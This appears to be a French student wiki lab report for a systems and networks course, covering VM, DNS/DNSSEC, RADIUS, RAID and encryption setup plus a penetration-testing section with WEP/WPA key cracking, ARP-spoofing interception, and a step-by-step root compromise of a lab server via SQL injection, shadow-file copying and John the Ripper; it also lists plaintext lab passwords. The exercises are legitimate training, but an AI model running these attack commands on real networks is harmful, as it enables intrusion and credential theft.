[+] [CVE-2021-22555] Netfilter heap out-of-bounds write<br />
...<br />
[+] [CVE-2019-13272] PTRACE_TRACEME<br />
...<br />
<br />
== Cassage de clef WEP d’un point d’accès WiFi ==<br />
<br />
On commence par rechercher le nom de notre interface. On utilise alors la commande (en root) :<br />
<br />
$ airmon-ng<br />
<br />
On trouve l'interface suivante :<br />
<br />
wlx40a5ef0127d0<br />
<br />
On essaie de démarrer l'interface sur le channel 3 :<br />
<br />
$ airmon-ng start wlx40a5ef0127d0 3<br />
<br />
Or on remarque que la réponse de la commande nous indique que l'interface a été renommé automatiquement "wlan0mon". On ré-utilise la commande précédente avec le nouveau nom d'interface :<br />
<br />
$ airmon-ng start wlan0mon 3<br />
<br />
On écoute ensuite tous les paquets dans l'air :<br />
<br />
$ airodump-ng wlan0mon<br />
<br />
A partir de là, on peut choisir un point d'accès à cracker en utilisant son BSSID (obtenu par la commande précédente). On choisit cracotte06.<br />
<br />
$ aireplay-ng -9 -e cracotte06 -a 04:DA:D2:9C:50:55 wlan0mon<br />
<br />
On peut récupérer les VI générés par le point d'accès en les stockant dans les fichiers output. On donne le channel 4 puisque le point d'accès est sur ce channel :<br />
<br />
$ airodump-ng -c 4 --bssid 04:DA:d2:9C:50:55 -w output wlan0mon<br />
<br />
On effectue de fausses authentifications avec la commande aireplay-ng dans un nouveau terminal :<br />
<br />
$ aireplay-ng -1 0 -e cracotte06 -a 04:DA:D2:9C:50:55 -h 40:A5:EF:01:0E:5F wlan0mon<br />
<br />
L'adresse MAC source donnée après le -h est obtenue lorsque l'on récupère les VI.<br />
<br />
Il faut maintenant laisser tourner la commande de récupération des VI assez longtemps pour obtenir assez de données (pour nous içi il a fallu attendre 40000 datas). On peut ensuite décrypter la clef WEP :<br />
<br />
$ aircrack-ng -b 04:DA:D2:9C:50:55 output*.cap<br />
<br />
On obtient alors :<br />
<br />
KEY FOUND ! [ 55:55:55:55:5A:BC:07:CB:A4:44:44:44:44 ]<br />
Decrypted correctly: 100%<br />
<br />
== Cassage de mot de passe WPA-PSK par force brute ==<br />
<br />
$ airmon-ng<br />
$ airmon-ng start wlan0mon 9<br />
$ airodump-ng wlan0mon<br />
<br />
On choisit le point d'accès kracotte06 à cracker. On récupère son BSSID avec la commande précédente et on utilise :<br />
<br />
$ airodump-ng -c 4 --bssid 44:AD:D9:5F:87:05 -w psk wlan0mon<br />
<br />
On crée le dictionnaire contenant toutes les clefs à tester avec la commande <code>crunch</code><br />
<br />
$ crunch 8 8 0123456789 -o dictionnaire.lst<br />
<br />
Pour savoir si un Handshake a été trouvé, on utilise la commande :<br />
<br />
$ aircrack-ng psk*.cap<br />
<br />
On trouve : <br />
<br />
# BSSID ESSID Encryption<br />
1 44:AD:D9:5F:87:05 kracotte06 WPA (1 handshake)<br />
<br />
On peut alors lancer la commande de test des clefs :<br />
<br />
$ aircrack-ng -w dictionnaire.lst -b 44:AD:D9:5F:87:05 psk*.cap<br />
<br />
Après un peu d'attente, on obtient la clef suivante :<br />
<br />
KEY FOUND! [ 59906999 ]<br />
<br />
== Attaque de type "homme au milieu" par usurpation ARP ==<br />
<br />
On branche un PC bleu sur une zabeth en ethernet et on lui configure une IP. Ensuite on peut installer dsniff et wireshark.<br />
<br />
On fait :<br />
<br />
$ echo 1 > /proc/sys/net/ipv4/ip_forward<br />
<br />
Puis on se fait passer pour le routeur (172.26.145.254) auprès de la zabeth (172.26.145.61):<br />
<br />
$ arpspoof -t 172.26.145.61 172.26.145.254<br />
<br />
En lançant wireshark, on peut voir les informations envoyées par la zabeth passer en clair.<br />
<br />
== Intrusion sur un serveur d’application Web ==<br />
<br />
Sur honey.plil.info : <br />
<br />
1. injection SQL<br />
<br />
2. connexion en tant qu'admin<br />
<br />
3. telechargement du fichier "config-db.php" (On remarque que il existe une BDD phpmyadmin) et "database.php" (ce fichier semble lui ne pas nous apporter d'informations)<br />
<br />
4. honey.plil.info/phpmyadmin -> connexion avec les logins trouvés dans le fichier "config-db.php" (phpmyadmin et gencovid19). On trouve alors une table "pma_users" indiquant le nom de plusieurs utilisateurs (totor62, manuals, phpmyadmin et root).<br />
<br />
5. en essayant le mdp "gencovid19" avec ces identifiants sur phpmyadmin : on peut se connecter en tant que "root" sur la BDD et on trouve le mdp de rex dans la bdd "test" et table "users".<br />
<br />
6. connexion en ssh sur rex@honey.plil.info.<br />
<br />
7. comme indication : "le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets". Alors on va créer un fichier de mots de 4 lettre pour ensuite doubler ces mots (exemple : bobo => bobobobo) pour essayer de cracker le mot de passe par la force brute. On créée alors le dictionnaire avec l'utilitaire crunch comme pour obtenir les clefs WEP :<br />
<br />
$ crunch 4 4 abcdefghijklmnopqrstuvwxyz > dico.txt<br />
<br />
Et on double la taille des mots :<br />
<br />
$ sed -i 's/\(.*\)/\1\1/' dico.txt<br />
<br />
On copie ensuite les fichiers "/etc/passwd" et "/etc/shadow" de rex@honey.plil.info sur notre zabeth. <br />
<br />
$ scp rex@honey.plil.info:/etc/passwd .<br />
$ scp rex@honey.plil.info:/etc/shadow .<br />
<br />
On utilise alors l'utilitaire "shadow" pour obtenir un fichier contenant le mot de passe haché de root :<br />
<br />
$ unshadow passwd shadow | head -1 > honey<br />
<br />
Puis on utilise "John the Ripper" pour cracker le mot de passe :<br />
<br />
$ john -w:dico.txt honey<br />
<br />
Après quelques minutes, on peut afficher le mot de passe trouvé :<br />
<br />
$ john --show honey<br />
root:fortfort:0:0:root:/root:/bin/bash<br />
1 password hash cracked, 0 left<br />
<br />
On trouve le mot de passe de root@honey.plil.info qui est "fortfort".<br />
<br />
= Point d'accès Wi-Fi authentifié via FreeRADIUS =<br />
<br />
== Configuration du point d'accès ==<br />
<br />
=== Point d'accès ===<br />
<br />
Tout d'abord il faut configurer l'authentification EAP dans la configuration :<br />
<br />
conf t<br />
<br />
aaa new-model<br />
aaa authentication login eap_rose group radius_rose<br />
radius-server host 193.48.57.181 auth-port 1812 acct-port 1813 key zinzin<br />
aaa group server radius radius_rose<br />
server 193.48.57.181 auth-port 1812 acct-port 1813<br />
exit<br />
<br />
Configurons le SSID :<br />
<br />
conf t<br />
<br />
dot11 ssid SSID_ROSE<br />
vlan 5<br />
authentication open eap eap_rose<br />
authentication network-eap eap_rose<br />
authentication key-management wpa<br />
mbssid guest-mode<br />
exit<br />
exit<br />
<br />
On associe notre SSID à l'interface WIFI :<br />
<br />
conf t<br />
<br />
interface Dot11Radio0<br />
encryption vlan 5 mode ciphers aes-ccm tkip<br />
ssid SSID_ROSE<br />
mbssid<br />
exit<br />
exit<br />
<br />
On paramètre notre VLAN (5)<br />
<br />
conf t<br />
<br />
interface Dot11Radio0.5<br />
encapsulation dot1Q 5<br />
no ip route-cache<br />
bridge-group 5<br />
bridge-group 5 subscriber-loop-control<br />
bridge-group 5 spanning-disabled<br />
bridge-group 5 block-unknown-source<br />
exit<br />
exit<br />
<br />
On configure l'interface filaire<br />
<br />
conf t<br />
<br />
interface GigabitEthernet0.5<br />
encapsulation dot1Q 5<br />
bridge-group 5<br />
exit<br />
exit<br />
<br />
Enfin, on configure l'IP de l'AP et sa gateway<br />
<br />
conf t<br />
<br />
ip default-gateway 10.1.0.1<br />
interface BVI 1<br />
ip address 10.1.0.3 255.255.255.0<br />
exit<br />
exit<br />
<br />
=== Routeur ===<br />
<br />
Commençons par configurer le VLAN 1 <br />
<br />
conf t<br />
<br />
interface vlan 1<br />
ip address 10.1.0.1 255.255.255.0<br />
exit<br />
exit<br />
<br />
Puis on configure le port (ici Gi1/0/3<br />
<br />
conf t<br />
<br />
interface Gi1/0/3<br />
switchport<br />
switchport mode trunk<br />
switchport trunk allowed vlan add 1<br />
exit<br />
exit<br />
<br />
Et voilà mon grand<br />
<br />
== Serveur FreeRADIUS ==<br />
<br />
Installation de freeRADIUS<br />
<br />
apt install freeradius<br />
<br />
On commence par configurer <code>/etc/freeradius/3.0/clients.conf</code> à détailler<br />
<br />
client zozo {<br />
ipaddr = 10.1.0.3/24<br />
secret = zinzin<br />
}<br />
<br />
ensuite <code>/etc/freeradius/3.0/eap.conf</code><br />
<br />
eap {<br />
[...]<br />
default_eap_type = peap<br />
}<br />
<br />
puis <code>/etc/freeradius/3.0/users</code><br />
<br />
[...]<br />
root Cleartext-Password := "glopglop"<br />
<br />
Pour vérifier que tout fonctionne bien, on peut lancer freeradius en mode debug <code>freeradius -X</code> (après avoir au préalable stoppé le processus)<br />
<br />
= Réalisations =<br />
<br />
== Sécurisation des données (RAID 5) ==<br />
<br />
Nous avons besoin de 3 LV à rajouter à notre VM :<br />
<br />
$ lvcreate -L1G -n Bellerose-raid1 storage<br />
$ lvcreate -L1G -n Bellerose-raid2 storage<br />
$ lvcreate -L1G -n Bellerose-raid3 storage<br />
<br />
Nous pouvons ainsi les rajouter à la configuration de notre VM (<code>/etc/xen/Bellerose.cfg</code>):<br />
<br />
'phy:/dev/storage/Bellerose-raid1,xvda5,w'<br />
'phy:/dev/storage/Bellerose-raid2,xvda6,w'<br />
'phy:/dev/storage/Bellerose-raid3,xvda7,w'<br />
<br />
Nous pouvons ensuite créer le RAID en relançant la VM et en se connectant dessus.<br />
<br />
$ apt install mdadm<br />
<br />
On va ensuite créer un disque nommé <code>/dev/md0</code> grâce à <code>mdadm</code> :<br />
<br />
$ mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7<br />
<br />
On peut ainsi vérifier que notre RAID 5 est effectif :<br />
<br />
$ lsblk<br />
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT<br />
xvda1 202:1 0 512M 0 disk [SWAP]<br />
xvda2 202:2 0 4G 0 disk /<br />
xvda3 202:3 0 10G 0 disk /home<br />
xvda4 202:4 0 10G 0 disk /var<br />
xvda5 202:5 0 1G 0 disk <br />
`-md0 9:0 0 2G 0 raid5 <br />
xvda6 202:6 0 1G 0 disk <br />
`-md0 9:0 0 2G 0 raid5 <br />
xvda7 202:7 0 1G 0 disk <br />
`-md0 9:0 0 2G 0 raid5 <br />
<br />
Enfin il faut monter ce disque fraîchement créé :<br />
<br />
$ mkfs.ext4 /dev/md0<br />
$ mkdir /media/raid<br />
<br />
on ajoute cette ligne dans <code>/etc/fstab</code> :<br />
<br />
/dev/md0 /media/raid ext4 defaults 0 1<br />
<br />
puis<br />
<br />
$ mount -a<br />
<br />
et toc<br />
<br />
== Chiffrement des données ==<br />
<br />
On branche la clé USB sur le petit PC bleu, et on lance <code>lsblk</code> et on trouve :<br />
<br />
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT<br />
sda 8:0 1 7,2G 0 disk <br />
<br />
Donc on peut formater la clef qui contient déjà quelque chose dessus :<br />
<br />
$ mkfs.ext4 /dev/sda<br />
<br />
Avec <code>cryptsetup</code> on peut initialiser la clef et lui donner un mdp :<br />
<br />
$ cryptsetup luksFormat /dev/sda<br />
<br />
On crée une partition chiffrée sur la clé :<br />
<br />
$ cryptsetup luksOpen /dev/sda data<br />
<br />
Et on formate :<br />
<br />
$ mkfs.ext4 /dev/mapper/data<br />
<br />
On monte cette partition pour lui permettre de contenir des fichiers :<br />
<br />
$ mkdir /mnt/data-usb<br />
$ mount -t ext4 /dev/mapper/data /mnt/data-usb<br />
<br />
On y ajoute donc un fichier de test :<br />
<br />
$ touch /mnt/data-usb/boujour.txt<br />
<br />
Puis on démonte et on ferme le volume chiffré<br />
<br />
$ umont /mnt/data-usb<br />
$ cryptsetup luksClose data<br />
<br />
Ensuite en branchant la clé USB sur un autre PC pour voir le fonctionnement de notre chiffrement, et lorsqu'on essaie d'accèder à la clef, celle ci nous demande un mot de passe pour accèder aux fichiers, donc le chiffrement fonctionne correctement.<br />
<br />
= ASR lab project =<br />
<br />
== Ansible hello world ==<br />
<br />
Après avoir installé ansible, nous avons pu créer notre premier playbook assez simple :<br />
<br />
<code>roles/ssh_key/tasks/main.yml</code><br />
---<br />
<br />
- name: Create .ssh if it does not exists<br />
file:<br />
path: ~/.ssh<br />
state: directory <br />
<br />
- name: Copy authorized_keys<br />
copy:<br />
src: authorized_keys<br />
dest: ~/.ssh/authorized_keys<br />
<br />
Ce dernier prend le fichier <code>../files/authorized_keys</code> (local) et le place dans <code>~/.ssh</code> (vm) après avoir créé ce répertoire si besoin.<br />
<br />
== Iptables ==<br />
<br />
<code>roles/iptables/tasks/main.yml</code><br />
---<br />
<br />
- name: Allow ports INPUT tcp<br />
iptables:<br />
chain: INPUT<br />
protocol: tcp<br />
destination_port: "{ { item } }"<br />
jump: ACCEPT<br />
ctstate: NEW,ESTABLISHED<br />
loop: "{ { iptables_accepted_tcp_ports } }"<br />
<br />
- name: Allow ports INPUT udp<br />
iptables:<br />
chain: INPUT<br />
protocol: udp<br />
destination_port: "{ { item } }"<br />
jump: ACCEPT<br />
ctstate: NEW,ESTABLISHED<br />
loop: "{ { iptables_accepted_udp_ports } }"<br />
<br />
- name: Set the policy for the INPUT chain to DROP<br />
ansible.builtin.iptables:<br />
chain: INPUT<br />
policy: DROP<br />
<br />
Ici on ajoute tous les ports que l'on veut ouvert en premier, puis on passe la <code>POLICY</code> à DROP pour ne pas accepter les autres connexions. (il n'y a pas d'espace entre les accolades normalement mais le WIKI nous emmerde)<br />
<br />
Nos ports sont variabilisés:<br />
<br />
<code>roles/iptables/defaults/main.yml</code><br />
---<br />
<br />
iptables_accepted_tcp_ports:<br />
- 8600<br />
- 8500<br />
- 8501<br />
- 8502<br />
- 8301<br />
- 8302<br />
- 8300 <br />
- 22<br />
- 80<br />
- 443<br />
<br />
iptables_accepted_udp_ports:<br />
- 8600<br />
- 8301<br />
- 8302<br />
- 22<br />
- 80<br />
- 443<br />
<br />
voilà<br />
<br />
== Consul ==<br />
<br />
<code>roles/consul/tasks/main.yml</code><br />
<br />
---<br />
<br />
- name: Create consul group<br />
group:<br />
name: consul<br />
state: present<br />
gid: 666<br />
<br />
- name: Create consul user<br />
user:<br />
name: consul<br />
state: present<br />
uid: 666<br />
group: consul<br />
<br />
- name: Create dirs<br />
file:<br />
state: directory<br />
path: "{{ item }}"<br />
owner: consul<br />
group: consul<br />
loop:<br />
- /etc/consul<br />
- /var/lib/consul<br />
<br />
- name: Add HashiCorp key<br />
apt_key:<br />
url: https://apt.releases.hashicorp.com/gpg<br />
state: present<br />
<br />
- name: Add HashiCorp repo<br />
apt_repository:<br />
repo: "deb https://apt.releases.hashicorp.com {{ ansible_distribution_release }} main"<br />
state: present<br />
update_cache: true<br />
<br />
- name: Install Consul<br />
package:<br />
name: consul<br />
state: present<br />
<br />
- name: Put config<br />
copy:<br />
src: config.json<br />
dest: /etc/consul/server.json<br />
owner: consul<br />
group: consul<br />
<br />
- name: Add consul systemd service file<br />
copy:<br />
src: consul.service<br />
dest: /etc/systemd/system/consul.service<br />
<br />
- name: Start consul service<br />
systemd:<br />
name: consul<br />
state: restarted<br />
enabled: yes<br />
<br />
<code>roles/consul/files/config.json</code><br />
<br />
{<br />
"datacenter": "polytech",<br />
"data_dir": "/var/lib/consul",<br />
"log_level": "INFO",<br />
"node_name": "jsp",<br />
"server": true,<br />
"bind_addr": "172.26.145.106",<br />
"bootstrap": true,<br />
"bootstrap_expect": 1,<br />
"ui": true,<br />
"client_addr": "0.0.0.0"<br />
}</div>Lwadbledhttps://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G6&diff=57976TP sysres IMA5 2021/2022 G62022-01-12T12:04:52Z<p>Lwadbled : /* ASR lab project */</p>
<hr />
<div>__TOC__<br />
<br style="clear: both;"/><br />
<br />
=Création de la machine virtuelle=<br />
<br />
On veut créer notre machine virtuelle sur l'hyperviseur (HV) capbreton. Afin de pouvoir télécharger l'image Debian, on utilise tout d'abord la commande suivante :<br />
<br />
$ export http_proxy=http://proxy.plil.fr:3128<br />
<br />
Pour lancer la création de la machine virtuelle, on doit donner le nom de la machine qui sera Bellerose (d'après le thème des noms de bière). Ensuite nous avons l'adresse IP qui nous a été attribuée lors de la répartition des groupes (donc pour nous ce sera 193.48.57.181). On donne aussi l'adresse IP du routeur flottant (193.48.57.190) et le masque du réseau (255.255.255.240 car c'est un /28). On indique également l'emplacement des disques virtuels : /usr/local/xen, le mot de passe pour se connecter à la machine virtuelle : pasglop, et la distribution que nous allons utiliser qui est Debian bullseye.<br />
<br />
$ xen-create-image --hostname=Bellerose --ip=193.48.57.181 --gateway=193.48.57.190 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye<br />
<br />
On crée ensuite 2 LV de 10 Go (nommés Bellerose1 et Bellerose2) sur le groupe de volume storage.<br />
<br />
$ lvcreate -L10G -n Bellerose1 storage<br />
$ lvcreate -L10G -n Bellerose2 storage<br />
<br />
Puis il faut les formater au format ext4, alors on utilise les commandes suivantes :<br />
<br />
$ mkfs.ext4 /dev/storage/Bellerose1<br />
$ mkfs.ext4 /dev/storage/Bellerose2<br />
<br />
On modifie notre fichier /etc/xen/Bellerose.cfg pour indiquer à la machine virtuelle qu'elle possède les volumes logiques Bellerose1 et Bellerose2 (on ajoute alors 2 lignes dans la fonction disk) et on ajoute le bridge IMA5sc dans la fonction vif.<br />
<br />
$ vim /etc/xen/Bellerose.cfg<br />
disk = [<br />
'file:/usr/local/xen/domains/Bellerose/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Bellerose/swap.img,xvda1,w',<br />
'phy:/dev/storage/Bellerose1,xvda3,w',<br />
'phy:/dev/storage/Bellerose2,xvda4,w'<br />
]<br />
vif = [ 'ip=193.48.57.181 ,mac=00:16:3E:FA:D0:95 ,bridge=IMA5sc' ]<br />
<br />
On peut maintenant lancer notre machine virtuelle :<br />
<br />
$ xl create -c /etc/xen/Bellerose.cfg<br />
<br />
Avec la commande :<br />
<br />
$ cat /etc/fstab<br />
<br />
On voit xvda1 et xvda2. On va créer xvda3 et xvda4 pour pouvoir y mettre les répertoires var et home de notre machine virtuelle :<br />
<br />
$ mkdir /mnt/xvda3<br />
$ mkdir /mnt/xvda4<br />
$ mount /dev/xvda3 /mnt/xvda3<br />
$ mount /dev/xvda4 /mnt/xvda4<br />
<br />
Puis on déplace le répertoire var dans le disque xvda4 :<br />
<br />
$ mv /var/* /mnt/xvda4<br />
<br />
Pour monter les disques, on ajoute ces lignes dans le fichier /etc/fstab :<br />
<br />
# /home vers xvda3<br />
/dev/xvda3 /home ext4 defaults 0 2<br />
# /var vers xvda4<br />
/dev/xvda4 /var ext4 defaults 0 2<br />
<br />
On monte le tout à l'aide de la commande :<br />
<br />
mount -a<br />
<br />
Enfin avec lsblk, on peut voir les deux partitions de notre VM :<br />
<br />
$ lsblk<br />
xvda3 202:3 0 10G 0 disk /home<br />
xvda4 202:4 0 10G 0 disk /var<br />
<br />
Enfin, nous activons l'IPv6 sur l'interface en modifiant <code>/etc/network/interfaces</code><br />
<br />
iface eth0 inet6 auto<br />
<br />
Pour quitter la VM : CTRL+]<br />
<br />
= Services Internet =<br />
<br />
== Serveur SSH ==<br />
<br />
$ apt install openssh-server<br />
<br />
on édite le fichierde conf <code>/etc/ssh/sshd_config</code> (via ssh key) :<br />
<br />
PermitRootLogin without-password // je l'ai repassé en "yes" suite au mail et le mdp root est celui de pifou habituel <br />
PubkeyAuthentication yes<br />
<br />
après on reload la conf<br />
<br />
$ systemctl reload ssh<br />
<br />
On génère une clé ssh depuis notre zabeth avec <code>ssh-keygen -t ed25519</code> et on l'ajoute dans <code>/.ssh/authorized_keys</code> et c'est gooooood<br />
<br />
== Serveur DNS ==<br />
<br />
on achète le ndd<br />
<br />
on crée un "Glue Record" pour notre nameserver <code>ns1.belle-rose.site</code><br />
<br />
on install bind<br />
<br />
$ apt install bind9<br />
<br />
on configure <code>/etc/resolv.conf</code><br />
<br />
nameserver 127.0.0.1<br />
<br />
on configure bind <code>/etc/bind/named.conf.local</code><br />
<br />
zone "belle-rose.site" IN {<br />
type master;<br />
file "/etc/bind/db.belle-rose.site";<br />
allow-transfer { 217.70.177.40; };<br />
};<br />
<br />
On ajoute nos ns <code>/etc/bind/db.belle-rose.site</code><br />
<br />
;<br />
; BIND dans ta face<br />
;<br />
$TTL 604800<br />
@ IN SOA ns1.belle-rose.site. postmaster.belle-rose.site. (<br />
2 ; Serial<br />
604800 ; Refresh<br />
86400 ; Retry<br />
2419200 ; Expire<br />
604800 ) ; Negative Cache TTL<br />
;<br />
@ IN NS ns1.belle-rose.site.<br />
@ IN NS ns6.gandi.net.<br />
ns1 IN A 193.48.57.181<br />
<br />
Ensuite on peut tester notre conf avec<br />
<br />
$ host -t any ns1.belle-rose.site localhost<br />
Using domain server:<br />
Name: localhost<br />
Address: 127.0.0.1#53<br />
Aliases: <br />
<br />
ns1.belle-rose.site has address 193.48.57.181<br />
<br />
Et on incrémente aussi le Serial dans <code>/etc/bind/db.belle-rose.site</code> à 3.<br />
<br />
== Certificat ==<br />
<br />
Notre certificat Gandi nous a été retiré de force par quelqu'un de mal intentionné. De ce fait, nous avons utilisé un certificat <code>Let's Encrypt</code>. Après avoir installé <code>certbot</code>, on utilise simplement la commande :<br />
<br />
certbot --apache<br />
<br />
https://www.belle-rose.site/ IZOK<br />
<br />
== DNSSEC ==<br />
<br />
On suit les étapes suivantes :<br />
<br />
1. On ajoute l’option <code>dnssec-enable yes;</code> dans le fichier <code>named.conf.options</code><br />
<br />
2. On crée un répertoire <code>belle-rose.site.dnssec</code> pour y générer les clefs<br />
<br />
3. On crée la clef asymétrique de signature de clefs de zone :<br />
<br />
$ dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE belle-rose.site<br />
<br />
4. On crée la clef asymétrique de la zone pour signer les enregistrements<br />
<br />
$ dnssec-keygen -a RSASHA1 -b 1024 -n ZONE belle-rose.site <br />
<br />
5. On renomme les deux paires de clefs obtenues en utilisant le nom de la zone comme préfixe puis en suffixant d’abord par la destination de la clef (-ksk pour la KSK ou -zsk pour la ZSK) puis par le type de clef (.key pour la clef publique ou .private pour la clef privée);<br />
<br />
$ mv Kbelle-rose.site.+005+37138.key belle-rose.site-ksk.key<br />
$ mv Kbelle-rose.site.+005+35638.key belle-rose.site-zsk.key<br />
$ mv Kbelle-rose.site.+005+37138.private belle-rose.site-ksk.private<br />
$ mv Kbelle-rose.site.+005+35638.private belle-rose.site-zsk.private<br />
<br />
6. On inclue les clefs publiques dans votre fichier de zone <code>/etc/bind/db.belle-rose.site</code>, et on incrémente le numéro de version de la zone ;<br />
<br />
$include /etc/bind/belle-rose.site.dnssec/belle-rose.site-ksk.key<br />
$include /etc/bind/belle-rose.site.dnssec/belle-rose.site-zsk.key<br />
<br />
7. On signe les enregistrements de la zone ;<br />
<br />
$ dnssec-signzone -o belle-rose.site -k belle-rose.site-ksk ../db.belle-rose.site belle-rose.site-zsk<br />
<br />
8. On modifie le fichier <code>named.conf.local</code> pour utiliser la zone signée de suffixe .signed :<br />
<br />
$ vim ../named.conf.local<br />
zone "belle-rose.site" IN {<br />
type master;<br />
file "/etc/bind/db.belle-rose.site.signed";<br />
allow-transfer { 217.70.177.40; };<br />
};<br />
<br />
9. il ne reste plus qu’à communiquer la partie publique de la KSK (présente dans le fichier www.belle-rose.site-ksk.key) à notre registrar (sur gandi.net, dans la section "Manage DNSSEC" puis "DNS servers")<br />
<br />
root@Bellerose:/etc/bind/belle-rose.site.dnssec# cat belle-rose.site-ksk.key <br />
; This is a key-signing key, keyid 22094, for belle-rose.site.<br />
; Created: 20220111091701 (Tue Jan 11 09:17:01 2022)<br />
; Publish: 20220111091701 (Tue Jan 11 09:17:01 2022)<br />
; Activate: 20220111091701 (Tue Jan 11 09:17:01 2022)<br />
belle-rose.site. IN DNSKEY 257 3 5 AwEAAbbNBQJskwFezV1LwDsxAkCVbOcy4X3/mgffMjd/3FIHZpkdVrk3 w88041cgWbVSmom0ma8fFNqntidWlO//rMPvKT0ex3dqCse7on3/odox vxR3Zh5hPdv4K7X35BLuZta4x/RCBLgiFVyXo12qqBl0Htxn2hRyycKv 2caEYwnyRI75KSrr5f5XtQS8LyZCbtmMAp5YJu1wiDxwLcUwwJKvYS+q dtq4sm3KwW+qbjcUswkMMjXNAsvzwZ5FyHcondvvPuErc+Fhdvpxyoq+ W44ynLRnz7cb3R44z/TXFCwNlQI3MWzFvhbDK1YeJLpqjgYrET4eqqka mbFMYuLPQzE=<br />
<br />
(on copie que la partie chiffrée, pas le record DNSKEY)<br />
<br />
10. Enfin, nous pouvons tester la configuration:<br />
<br />
root@Bellerose:~# host -t any belle-rose.site<br />
belle-rose.site has RRSIG record DS 8 2 3600 20220210205226 20220111074233 56238 site. t5ANbAiG69DP5E9ccCIMtEEMs1urP6mSQpb210bDUbCD7vdXqONhLJ9M dcjyHQjhdTWKd9qc48tnY8fwL4PUeOYLexcaUEQgLMkbEBUDMzpcvMsb n4sM2BXgk7lJ9vyE1zsgfBNg7X8IV5c7sRrEuZyg7VbjPYmqx5BJ3cC8 Dy0=<br />
belle-rose.site has DS record 22094 5 2 86D5EAC51853FAA1865BB63C0F353EEB50D5A59093409E66A3F7044C AC3AF70F<br />
belle-rose.site name server ns6.gandi.net.<br />
belle-rose.site name server ns1.belle-rose.site.<br />
belle-rose.site has RRSIG record DNSKEY 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. bh2pFBuNXANoGib6RK5MAab6xy7jbUEYVOr6Pk/pa8weJPD/ACk0Z1pm urvc++ReoccxNxNy+BCd2Ri1GLhZ+kGXrF8xuNUYdyo+zpd+zZUgrx1C hKRSUqeBVpAn0uyDlRtG8cPPw01iYpDBCqmnif7+GblIH6eSJhOf+98d l8o=<br />
belle-rose.site has RRSIG record DNSKEY 5 2 604800 20220210082130 20220111082130 22094 belle-rose.site. JLB0MJqr8rfBq2MiVrZaRyDo/7/7V1GUGwCi108w8CgeUrIdImgXERY4 2nXQ21aym3Po0i+zs5DmEonEkTGMi63kjUG8ZeFjMCFm7KtNhRK8FkQk Be2yzv3odAhh/gmMyRsMa7yoLwaDWZVd4NkCJ6EaqNXP7yspcHD6pmHt 4RKJgCUo6zpLAJnFiU1cwIR+lS/HeFEW2OzOtvi/LH8bL1zewioEpTgi qHLplK68KR/1cX/4Dq2C3CaeChteMx//EkW9Vmwjg9BhRjE/VCa8P80w qJEiXeg8KXYLkCEiBK5ifgKy5EMxDG5q18ieRXaUc0F6FpG0A4POpTVx pscHmA==<br />
belle-rose.site has DNSKEY record 257 3 5 AwEAAbbNBQJskwFezV1LwDsxAkCVbOcy4X3/mgffMjd/3FIHZpkdVrk3 w88041cgWbVSmom0ma8fFNqntidWlO//rMPvKT0ex3dqCse7on3/odox vxR3Zh5hPdv4K7X35BLuZta4x/RCBLgiFVyXo12qqBl0Htxn2hRyycKv 2caEYwnyRI75KSrr5f5XtQS8LyZCbtmMAp5YJu1wiDxwLcUwwJKvYS+q dtq4sm3KwW+qbjcUswkMMjXNAsvzwZ5FyHcondvvPuErc+Fhdvpxyoq+ W44ynLRnz7cb3R44z/TXFCwNlQI3MWzFvhbDK1YeJLpqjgYrET4eqqka mbFMYuLPQzE=<br />
belle-rose.site has DNSKEY record 256 3 5 AwEAAdZrHCSjl8nMZ0pwfODUtCs4nD6iStiZzuBAfWTsm75qpG6JJzpr e3Oqqyr/Dm1bwXbLQUd0GNgGAidiAQtkbZIb/5ZQxuVxft2kp0GKUr34 44Bw1Gh8af1Npk9cqK368U6oD+EIrV2AnA2KC/KXm+DziNOkmifaFVvO rh6p91Ut<br />
belle-rose.site has RRSIG record NSEC 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. RXnysXybktajyP82ERJn1m9z/5dkOQABIzfUPf2/08jFQq96AMmEggH2 sAy/3wv6SKiwAvBN3dFkYtIefMAK0MdLykIwwLrGQwK1BSv5KKLCowtO Bdks2pjgBPFE4J/MnBnBXSm0HunudjziNgz+PN3bY/IieyPzIBfpHM0y UfM=<br />
belle-rose.site has NSEC record ns1.belle-rose.site. NS SOA RRSIG NSEC DNSKEY<br />
belle-rose.site has RRSIG record NS 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. GZRzkPkOu/RKjCE2+NWhHfTcicDCoaBq/QjimrrVPsMcse0pPebFZkTr lRHMLHZEglzopIigLwj3DQ7yjuB6EiAhudUWwZri82LjkVs+z5ItMPo6 kudNvs5oUqVGX7E6toy5rU11yBgPDNijuCI1aahUJpwAEOl9sGi9uJ9I NaI=<br />
belle-rose.site has RRSIG record SOA 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. rDQsyAPj2RG4epQ7AFGrpU4JzyAi1kif3X4N8L+53IrlNWMcByyCVtAA 1XRQ8+Ag7f8/Z7nMhLbRuPtEH6efhZJfhEOuuU0SK7Nernm6WgkCS4UI e4VVtXtbHLeM+CncfUywqpKRhyZB9qEpzloNdI6zyOlzS9bH9qMwZFSS TWY=<br />
belle-rose.site has SOA record ns1.belle-rose.site. postmaster.belle-rose.site. 6 604800 86400 2419200 604800<br />
<br />
= Tests d'intrusion =<br />
<br />
== Exploitation de failles du système ==<br />
<br />
Après plusieurs recherches, nous avons trouvé un petit soft permettant d'audit notre système et y afficher les possibles failles. > https://github.com/mzet-/linux-exploit-suggester<br />
<br />
En suivant la documentation :<br />
<br />
$ wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh<br />
$ chmod +x les.sh && ./les.sh<br />
<br />
On obtient les failles suivantes (audit réalisé sur notre VM) :<br />
<br />
[+] [CVE-2021-27365] linux-iscsi<br />
...<br />
[+] [CVE-2021-22555] Netfilter heap out-of-bounds write<br />
...<br />
[+] [CVE-2019-13272] PTRACE_TRACEME<br />
...<br />
<br />
